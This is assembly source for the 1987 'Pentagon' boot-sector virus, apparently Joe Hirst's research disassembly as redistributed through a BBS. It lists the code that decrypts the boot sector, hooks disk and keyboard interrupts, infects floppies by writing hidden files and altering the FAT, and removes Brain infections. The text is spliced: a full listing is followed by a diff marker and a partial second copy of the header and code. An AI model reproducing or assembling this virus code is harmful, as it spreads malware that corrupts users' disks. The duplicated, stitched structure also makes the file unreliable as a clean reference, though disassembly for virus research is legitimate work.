ORG 413H
BW0413 DW ?
ORG 417H
BB0417 DB ?
ORG 51CH
BW051C DW ?
ORG 7C0BH
DW7C0B DW ?
ORG 7C18H
DW7C18 DW ?
DW7C1A DW ?
ORG 7C2AH
DB7C2A DB ?
ORG 7C37H
DW7C37 DW ?
DW7C39 DW ?
DB7C3B DB ?
DB7C3C DB ?
DW7C3D DW ?
ORG 7DB7H
DB7DB7 DB ?
ORG 7DFDH
DB7DFD DB ?
ORG 7E00H
DW7E00 DW ? ; DW008F - Track and sector of rest of code
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
DW7E04 DW ? ; DW0093 - Segment address of virus
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
IF1
ORG 206H
BP0095X LABEL NEAR
ENDIF
ORG 0
START: JMP BP0036
DB 'HAL 3.2'
DW 512 ; BPB001 - Bytes per sector
DB 2 ; BPB002 - Sectors per allocation unit
DW 1 ; BPB003 - Reserved sectors
DB 2 ; BPB004 - Number of FATs
DW 112 ; BPB005 - Number of root dir entries
DW 720 ; BPB006 - Number of sectors
DB 0FDH ; BPB007 - Media Descriptor
DW 2 ; BPB008 - Number of sectors per FAT
DW 9 ; BPB009 - Sectors per track
DW 2 ; BPB010 - Number of heads
DW 0 ; BPB011 - Number of hidden sectors (low order)
BPB012 DW 0 ; Number of hidden sectors (high order)
DB 10 DUP (0)
HEADNO DB 0
; Interrupt 30 (1EH) - Disk parameter table
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
DB 1, 0
BP0036: CLI
MOV AX,CS ; \ Set SS to CS
MOV SS,AX ; /
MOV SP,0F000H ; Set stack pointer
MOV DS,AX ; Set DS to CS
STI
MOV BP,OFFSET BP0044+7C00H
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
NOP
DW004A EQU THIS WORD
MOV DH,0FCH ; Decryption key
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
BP0052: XOR [BP+00],DH ; Decrypt a byte
INC BP ; Next byte
LOOP BP0052 ; Repeat for all of it
NOP
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
MOV AX,BW0413 ; Get RAM size in K
SUB AX,0005 ; Subtract five K
MOV BW0413,AX ; Replace amended RAM size
MOV CL,06 ; Bits to move
SHL AX,CL ; Convert to segment address
MOV DW0093+7C00H,AX ; Save segment address
NOP
MOV ES,AX ; Set ES to this segment
XOR DI,DI ; Move to start
MOV SI,7C00H ; From start of boot sector buffer
MOV CX,0200H ; Move one sector
CLD
REPZ MOVSB ; Move sector to high-core
NOP
; Move next section of code to a safe area
MOV DI,200H+7C00H
MOV SI,OFFSET DW008F+7C00H
MOV CX,OFFSET DB00C5-DW008F ; Length to move
PUSH DS ; \ Set ES to DS
POP ES ; /
CLD
REPZ MOVSB ; Copy program section
JMP BP0095X ; This is BP0095 in new location
DW008F DW 0B02H ; Track and sector of rest of code
DW0091 DW 100H ; Head and drive of rest of code
DW0093 DW 9EC0H ; Segment address of virus
BP0095: MOV CX,0004 ; Number of retries
BP0098: PUSH CX
MOV CX,DW7E00 ; Get track and sector number
MOV DX,DW7E02 ; Get head and drive number
MOV ES,DW7E04 ; Get buffer segment address
MOV BX,0200H ; Buffer offset
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
JNB BP00B8 ; Branch if no error
POP CX
XOR AH,AH ; Reset floppy disk sub-system
INT 13H ; Disk I/O
LOOP BP0098 ; Retry
INT 18H ; Drop into basic
BP00B8: POP CX
MOV AX,OFFSET DW7E04 ; Address segment address
CLI
MOV SP,AX ; Point SP at segment address
STI
MOV AX,0200H ; \ Address of second section
PUSH AX ; /
RETF
DB00C5 DB 50H
; The rest of this sector is a normal PCDOS 3.20 boot sector
; which has been overwritten at 100H-122H by a character string
DB 61H, 0
XOR AH,AH
INT 16H
POP SI
POP DS
POP [SI]
DW00D0 DW 0B06H ; Track and sector numbers
DW00D2 DW 0100H ; Head and drive numbers
DB 19H
MOV SI,OFFSET DB7DB7
JMP NEAR PTR DB00C5
MOV AX,BW051C
XOR DX,DX
DIV DW7C0B
INC AL
MOV DB7C3C,AL
MOV AX,DW7C37
MOV DW7C3D,AX
MOV BX,0700H
MOV AX,DW7C37
CALL BP0137
MOV AX,DW7C18
SUB AL,DB7C3B
INC AX
PUSH AX
DB '(c) 1987 The Pentagon, Zorell Group'
DB 7CH
JMP FAR PTR EXIT
BP0129: LODSB
OR AL,AL
JZ BP0150
MOV AH,0EH
MOV BX,7
INT 10H
JMP BP0129
BP0137: XOR DX,DX
DIV DW7C18
INC DL
MOV DB7C3B,DL
XOR DX,DX
DIV DW7C1A
MOV DB7C2A,DL
MOV DW7C39,AX
BP0150: RET
MOV AH,2
MOV DX,DW7C39
MOV CL,6
SHL DH,CL
OR DH,DB7C3B
MOV CX,DX
XCHG CH,CL
MOV DL,DB7DFD
MOV DH,DB7C2A
INT 13H
RET
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
DB 'IBMBIO COMIBMDOS COM'
ORG 01FEH
DW 0AA55H
; Second sector of virus
BP0200: CLI
MOV SP,0F000H ; Reset stack pointer
STI
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV BX,004CH ; INT 13H jump address
MOV BP,01A0H ; INT 68H jump address
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
JE BP0219 ; Branch if not
JMP BP024E
BP0219: MOV AX,[BX] ; Get INT 13H offset
MOV DS:[BP+0],AX ; Set INT 68H to this offset
MOV AX,[BX+2] ; Get INT 13H segment
MOV DS:[BP+2],AX ; Set INT 68H to this segment
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
MOV AX,CS ; \ Set INT 13H segment
MOV [BX+2],AX ; /
MOV BX,0024H ; INT 9 jump address
MOV BP,01A4H ; INT 69H jump address
MOV AX,[BX] ; Get INT 9 offset
MOV DS:[BP],AX ; Set INT 69H to this offset
MOV AX,[BX+2] ; Get INT 9 segment
MOV DS:[BP+2],AX ; Set INT 69H to this segment
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
MOV AX,CS ; \ Set INT 9 segment
MOV [BX+02],AX ; /
JMP BP0254
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
ADD WORD PTR [BX],5 ; Restore the 5K
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and device
MOV BX,0200H ; Address second sector
MOV CX,3 ; Three sectors to read
BP0265: PUSH CX ; Save read count
MOV AX,0201H ; Read one sector
MOV CX,CS:[BP] ; Get track and sector
CALL BP0300 ; Address to next sector
MOV CS:[BP],CX ; Save new track and sector
ADD BX,0200H ; Address next buffer area
CALL BP031B ; Read from disk
JNB BP0280 ; Branch if no error
POP CX
INT 18H ; Drop into basic
; Read file, first sector
BP0280: POP CX ; Retrieve read count
LOOP BP0265 ; Repeat for other sectors
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and drive
MOV BX,1000H ; Buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP029B ; Branch if no error
INT 18H ; Drop into basic
; Read file, second sector
BP029B: CALL BP0300 ; Address to next sector
ADD BX,0200H ; Update buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP02AC ; Branch if no error
INT 18H ; Drop into basic
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to decrypt
MOV AL,0AAH ; Load encryption key
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0315 ; Decrypt
MOV AX,CS ; \
MOV ES,AX ; ) Set ES & DS to CS
MOV DS,AX ; /
MOV DI,0100H ; Middle of 1st sector
MOV SI,OFFSET DB07BC ; Address copyright message
MOV CX,0023H ; Length of copyright message
REPZ MOVSB ; Copy copyright message
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,0200H ; Length to decrypt
MOV BX,0800H ; Address boot sector store
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
MOV DI,7C00H ; Boot sector buffer
MOV SI,0800H ; Address boot sector store
MOV CX,0200H ; Sector length
CLD
REPZ MOVSB ; Copy boot sector
DB 0EAH ; Far jump to boot sector
DW 7C00H, 0
DB 16 DUP (0)
; Address to next sector
BP0300: INC CL ; Increment sector number
CMP CL,0AH ; Is it sector ten?
JL BP0314 ; Branch if not
MOV CL,1 ; Set sector to one
INC DH ; Increment head
CMP DH,2 ; Is it head two?
JL BP0314 ; Branch if not
XOR DH,DH ; Set head to zero
INC CH ; Increment track
BP0314: RET
; Encrypt/decrypt
BP0315: XOR [BX],AL ; Encrypt a byte
INC BX ; Address next byte
LOOP BP0315 ; Repeat for count
RET
; Read from or write to disk
BP031B: PUSH SI
PUSH DI
MOV SI,AX ; Save function
MOV DI,CX ; Save track and sector
MOV CX,3 ; Number of retries
BP0324: PUSH CX
MOV AX,SI ; Retrieve function
MOV CX,DI ; Retrieve track and sector
INT 68H ; Disk I/O
JNB BP0338 ; Branch if no error
XOR AH,AH ; Reset sub-system
INT 68H ; Disk I/O
POP CX ; Retrieve number of retries
LOOP BP0324 ; Retry
STC
JMP BP033B
BP0338: POP CX ; Retrieve number of retries
MOV CX,DI ; Retrieve track and sector
BP033B: POP DI
POP SI
RET
; Find unused FAT entry pair
BP033E: PUSH AX
PUSH DX
PUSH ES
PUSH DI
PUSH CS
POP ES
MOV DX,CX ; Initial cluster number
XOR AL,AL ; Search for zero
BP0348: MOV CX,3 ; Three bytes to check
MOV DI,BX ; Address FAT entry pair
REPZ SCASB ; Scan for non-zero
CMP CX,0 ; Is FAT pair unused
JE BP0361 ; Branch if yes
ADD BX,3 ; Address next entry pair
ADD DX,2 ; Update entry count
CMP DX,0162H ; Entry 354?
JLE BP0348 ; Process entry pair if not
STC
BP0361: MOV CX,DX ; Cluster number found
POP DI
POP ES
POP DX
POP AX
RET
; Find and flag an unused entry
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
JZ BP0384 ; Branch if unused
INC CX ; Next entry number
INC BX ; Address 2nd entry
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
JZ BP038B ; Branch if unused
INC CX ; Next entry number
ADD BX,2 ; Address next entry pair
CMP CX,0163H ; Entry 355?
JLE BP0368 ; Process next FAT pair if not
STC
JMP BP0390
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
JMP BP038F
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
nop ; ** length adjustment, MASM 5.0
BP038F: CLC
BP0390: RET
; Unflag Brain virus bad clusters
BP0391: PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV DX,CX
BP0397: MOV AX,[BX] ; Get FAT entry
AND AX,0FFFH ; Isolate FAT entry
CMP AX,0FF7H ; Bad cluster?
JE BP03B8 ; Branch if yes
INC DX ; Add to cluster number
INC BX ; Address next entry
MOV AX,[BX] ; Get FAT entry
MOV CL,4 ; Bits to move
SHR AX,CL ; Move FAT entry
CMP AX,0FF7H ; Bad Cluster?
JE BP03C8 ; Branch if yes
INC DX ; Add to cluster number
ADD BX,2 ; Address next pair of entries
CMP DX,015FH ; Entry 351?
JLE BP0397 ; Process this pair if not
BP03B8: MOV WORD PTR [BX],0 ; \
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
XOR WORD PTR [BX+3],0FF7H ; /
JMP BP03D5
BP03C8: XOR WORD PTR [BX],0FF7H ; \
MOV WORD PTR [BX+2],0 ; ) Clear three entries
MOV BYTE PTR [BX+4],0 ; /
BP03D5: POP DX
POP CX
POP BX
POP AX
RET
; Convert cluster number to track, head and sector
BP03DA: PUSH AX
PUSH BX
SUB CX,2 ; Subtract number of 1st cluster
ADD CX,CX ; Two sectors per cluster
ADD CX,0CH ; Add sector num of 1st cluster
MOV AX,CX ; Copy sector number
PUSH AX ; Save sector number
MOV BL,9 ; Nine sectors per track
DIV BL ; Divide by sectors per track
INC AH ; First sector is one
MOV CL,AH ; Move sector number
XOR AH,AH ; Clear top of register
MOV BL,2 ; Two heads
DIV BL ; Divide by heads
MOV DH,AH ; Move head number
POP AX ; Retrieve sector number
MOV BL,12H ; 18 sectors per track (both sides)
DIV BL ; Divide by sectors per track
MOV CH,AL ; Move track number
POP BX
POP AX
RET
; Update directory
BP0401: PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
MOV CX,000FH ; Fifteen entries per sector
XOR DI,DI ; Start of sector
CMP AX,7 ; Is this first dir sector
JNE BP0416 ; Branch if not
SUB CX,3 ; Subtract three from count
ADD DI,60H ; Address fourth entry
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
JNE BP0443 ; Branch if not
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
JNE BP0443 ; Branch if not
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
PUSH SI
PUSH DI
PUSH CX
ADD DI,BX ; Add sector address
LEA SI,DB07B1 ; Address label
MOV CX,000BH ; Length of new label
CLD
REPZ MOVSB ; Copy label
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
POP CX
POP DI
POP SI
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
JE BP0452 ; Branch if yes
ADD DI,20H ; Address next entry
LOOP BP0416 ; Process next entry
STC
JMP BP0487
BP0452: ADD DI,BX ; Add sector address
MOV BX,DI ; Move entry address
MOV BYTE PTR [BX],0F9H ; "Filename"
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
MOV CX,CS:DW0784 ; Get virus cluster number
MOV [BX+1AH],CX ; Store starting cluster
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
MOV WORD PTR [BX+1EH],0 ; /
ADD DI,20H ; Address next entry
MOV BX,DI ; Move entry address
LEA SI,DB0791 ; Address start of encrypted
MOV CX,0020H ; One complete entry to move
CLD
REPZ MOVSB ; Move entry
MOV CX,CS:DW0786 ; Get file cluster number
MOV [BX+1AH],CX ; Store starting cluster
CLC
BP0487: POP DI
POP SI
POP DX
POP CX
POP BX
RET
; Read actual boot sector - Brain infected
BP048D: PUSH AX
PUSH CX
PUSH DX
MOV CX,[BX+7] ; Get track and sector
MOV DH,[BX+6] ; Get head number
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
POP DX
POP CX
POP AX
RET
; Generate a sound
BP04A0: MOV BP,1 ; One loop
MOV AL,0B6H ; Counter two, both bytes, sq wave
OUT 43H,AL ; Set PIT control register
MOV AX,0533H ; Sound frequency
OUT 42H,AL ; Send first byte
MOV AL,AH ; Get second byte
OUT 42H,AL ; Send second byte
IN AL,61H ; Get port B
MOV AH,AL ; Save port B value
OR AL,3 ; Set sound bits on
OUT 61H,AL ; Send port B
SUB CX,CX ; Maximum loop count
BP04BA: LOOP BP04BA ; Delay
DEC BP ; Decrement count of loops
JNZ BP04BA ; Branch if not zero (it won't be)
MOV AL,AH ; Recover original port B
OUT 61H,AL ; Send port B
RET
; Int 13H routine
BP04C4: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSH DI
MOV CS:DB0790,DL ; Save device
CMP AH,2 ; Is function a read?
JE BP04DA ; Branch if yes
JMP BP06FC ; Pass on to BIOS
BP04DA: DEC CS:DB07E0 ; Decrement count
JZ BP04E4 ; Infect when zero
JMP BP06FC ; Pass on to BIOS
; Get boot sector
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
PUSH CS ; \
POP AX ; \ Set DS & ES to CS
MOV DS,AX ; /
MOV ES,AX ; /
MOV BX,0800H ; Address boot sector store
MOV CX,1 ; Track zero, sector one
MOV DH,0 ; Head zero
MOV DL,CS:DB0790 ; Load device
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0508 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Brain virus
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
JNE BP051D ; Branch if not
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
CALL BP048D ; Read actual boot sector
JNB BP052D ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Pentagon virus
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
JNE BP052D ; Branch if not
JMP BP06FC ; Pass on to BIOS
; Check for DOS boot sector
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
JE BP0538 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get first FAT sector
BP0538: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0549 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check media byte
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
JE BP0551 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get second sector of FAT
BP0551: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0562 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
JNE BP0573 ; Branch if off
MOV BX,0A03H ; Address first cluster in FAT
MOV CX,2 ; First cluster is number two
CALL BP0391 ; Unflag Brain virus bad clusters
BP0573: MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP033E ; Find unused FAT entry pair
JNB BP0581 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
INC CX ; Next cluster number
MOV [BX],CX ; Put it in first FAT entry
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
nop ; ** length adjustment, MASM 5.0
DEC CX ; Set cluster number back
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW0788,CX ; Save virus track & sector
MOV CS:DW078A,DX ; Save virus head and drive
PUSH BP
MOV BP,OFFSET DW008F ; Address virus pointer
MOV CS:[BP+00],CX ; Save virus track & sector
MOV CS:[BP+03],DH ; Save virus head
POP BP
MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP0368 ; Find an unused FAT entry
JNB BP05B7 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW078C,CX ; Save file track & sector
MOV CS:DW078E,DX ; Save file head and drive
PUSH BP
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CS:[BP],CX ; Save track and sector
MOV CS:[BP+3],DH ; Save head
POP BP
MOV AL,0FCH ; Load encryption key
MOV BX,0800H ; Address boot sector store
MOV CX,0200H ; Length to encrypt
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BX,0200H ; Virus second sector
MOV AX,0301H ; Write one sector
MOV CX,CS:DW0788 ; Get virus track & sector
MOV DX,CS:DW078A ; Get virus head and drive
MOV DL,CS:DB0790 ; Load device
CALL BP031B ; Write to disk
JNB BP0613 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0613: MOV AX,3 ; Three sectors to write
BP0616: PUSH AX ; Save write count
ADD BX,0200H ; Next sector buffer
MOV AX,0301H ; Write one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
POP AX ; Retrieve write count
DEC AX ; Decrement count
JNZ BP0616 ; Repeat for each sector
JMP BP0631
BP062D: POP AX
JMP BP06FC ; Pass on to BIOS
; Write file
BP0631: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
MOV CX,CS:DW078C ; Get file track & sector
MOV DX,CS:DW078E ; Get file head and drive
MOV DL,CS:DB0790 ; Load device
MOV BX,1000H ; Address file buffer
MOV AX,2 ; Two sectors to write
BP065B: PUSH AX ; Save write count
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
CALL BP0300 ; Address to next sector
ADD BX,0200H ; Address next sector buffer
POP AX ; Retrieve write count
DEC AX ; Decrement write count
JNZ BP065B ; Write each sector
MOV BX,OFFSET BP0059 ; Start of encrypted
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Encrypt
XOR BX,BX ; Address start of virus
MOV AX,0301H ; Write one sector
MOV CX,1 ; Track zero, sector 1
XOR DH,DH ; Head zero
CALL BP031B ; Write to disk
JNB BP068C ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 1st FAT sector
BP068C: MOV BX,OFFSET BP0059
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
MOV BX,0A00H ; Address 1st FAT sector
MOV AX,0301H ; Write one sector
MOV CX,2 ; Track zero, sector 2
CALL BP031B ; Write to disk
JNB BP06A8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 2nd FAT sector
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
MOV AX,0301H ; Write one sector
INC CX ; Next sector
CALL BP031B ; Write to disk
JNB BP06B8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Create directory entries
BP06B8: MOV BX,0E00H ; Address directory
MOV CX,5 ; Track zero, sector 5
XOR DH,DH ; Head zero
MOV AX,7 ; Seven sectors to read
BP06C3: PUSH AX ; Save read count
MOV AX,0201H ; Read one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Read from disk
JB BP06F1 ; Branch if error
POP AX ; \ Retrieve and save read count
PUSH AX ; /
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
CALL BP0401 ; Update directory
JNB BP06F5 ; Branch if entry found
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
JNE BP06EA ; Branch if off
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06EA: POP AX ; Retrieve sector count
DEC AX ; Decrement sector count
JNZ BP06C3 ; Repeat for each sector
JMP BP06FC ; Pass on to BIOS
BP06F1: POP AX
JMP BP06FC ; Pass on to BIOS
BP06F5: POP AX
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06FC: POP DI
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POP AX
INT 68H ; Disk I/O
RETF 2
; Int 9 routine
BP0709: PUSH AX
PUSH BX
PUSH DS
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
IN AL,60H ; Get keyboard token
MOV BX,OFFSET BB0417 ; Address Key states
TEST BYTE PTR [BX],8 ; Alt key depressed?
JZ BP0736 ; Branch if not
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
JZ BP0736 ; Branch if not
CMP AL,53H ; Del character token?
JNE BP0736 ; Branch if not
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
XOR AL,AL ; \ ?
OUT 60H,AL ; /
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
BP0736: POP DS
POP BX
POP AX
INT 69H ; Keyboard I/O
PUSHF
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
JNE BP0765 ; Branch if off
POPF
MOV AX,3 ; Set mode three
INT 10H ; VDU I/O
CLI
MOV AL,0AH ; Repeat delay 10 times
XOR CX,CX ; Maximum loop
BP074F: LOOP BP074F ; Delay
DEC AL ; Decrement delay count
JNZ BP074F ; Repeat delay for count
CALL BP04A0 ; Generate a sound
XOR CX,CX ; Maximum loop
BP075A: LOOP BP075A ; Delay
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
STI
INT 19H ; Disk bootstrap
BP0765: POPF
RETF 2
DB 27 DUP (0)
DW0784 DW 0064H ; Cluster number of virus
DW0786 DW 0066H ; Cluster number of file
DW0788 DW 0B02H ; Virus track & sector
DW078A DW 0101H ; Virus head and drive
DW078C DW 0B06H ; File track and sector
DW078E DW 0101H ; File head and drive
DB0790 DB 1 ; Device number
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1 DB 'Pentagon,ZG'
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
DB07E0 DB 20H ; Infection count
DB07E1 DB 0FFH ; Infected by Brain switch
DB07E2 DB 0 ; Directory update switch
DB07E3 DB 0 ; Reboot switch
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
CODE ENDS
END START


@ -0,0 +1,989 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Pentagon' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Pentagon' Virus º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
; The code section between offsets 59H and C4H (which is normally
; encrypted) appears to have been separately assemblied using A86.
; Virus is possibly an honorary term, at least for this sample,
; as all attempts to run it have so far failed.
; This virus consists of a boot sector and two files.
; The boot sector is a normal PCDOS 3.20 boot sector with three
; changes:
; 1. The OEM name 'IBM' has been changed to 'HAL'.
; 2. The first part of the virus code overwrites 036H to 0C5H.
; 3. 100H-122H has been overwritten by a character string.
; The name of the first file is the hex character 0F9H. This file
; contains the rest of the virus code followed by the original boot
; sector.
; The name of the second file is PENTAGON.TXT. This file does not
; appear to be used in any way or contain any meaningful data.
; Both files are created without the aid of DOS, and the first
; file is accessed by its stored absolute location.
; Four different sections of the virus are separately encrypted:
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
SEG70 SEGMENT AT 70H
ASSUME CS:SEG70
EXIT:
SEG70 ENDS
BOOT SEGMENT AT 0
ORG 413H
BW0413 DW ?
ORG 417H
BB0417 DB ?
ORG 51CH
BW051C DW ?
ORG 7C0BH
DW7C0B DW ?
ORG 7C18H
DW7C18 DW ?
DW7C1A DW ?
ORG 7C2AH
DB7C2A DB ?
ORG 7C37H
DW7C37 DW ?
DW7C39 DW ?
DB7C3B DB ?
DB7C3C DB ?
DW7C3D DW ?
ORG 7DB7H
DB7DB7 DB ?
ORG 7DFDH
DB7DFD DB ?
ORG 7E00H
DW7E00 DW ? ; DW008F - Track and sector of rest of code
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
DW7E04 DW ? ; DW0093 - Segment address of virus
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
IF1
ORG 206H
BP0095X LABEL NEAR
ENDIF
ORG 0
START: JMP BP0036
DB 'HAL 3.2'
DW 512 ; BPB001 - Bytes per sector
DB 2 ; BPB002 - Sectors per allocation unit
DW 1 ; BPB003 - Reserved sectors
DB 2 ; BPB004 - Number of FATs
DW 112 ; BPB005 - Number of root dir entries
DW 720 ; BPB006 - Number of sectors
DB 0FDH ; BPB007 - Media Descriptor
DW 2 ; BPB008 - Number of sectors per FAT
DW 9 ; BPB009 - Sectors per track
DW 2 ; BPB010 - Number of heads
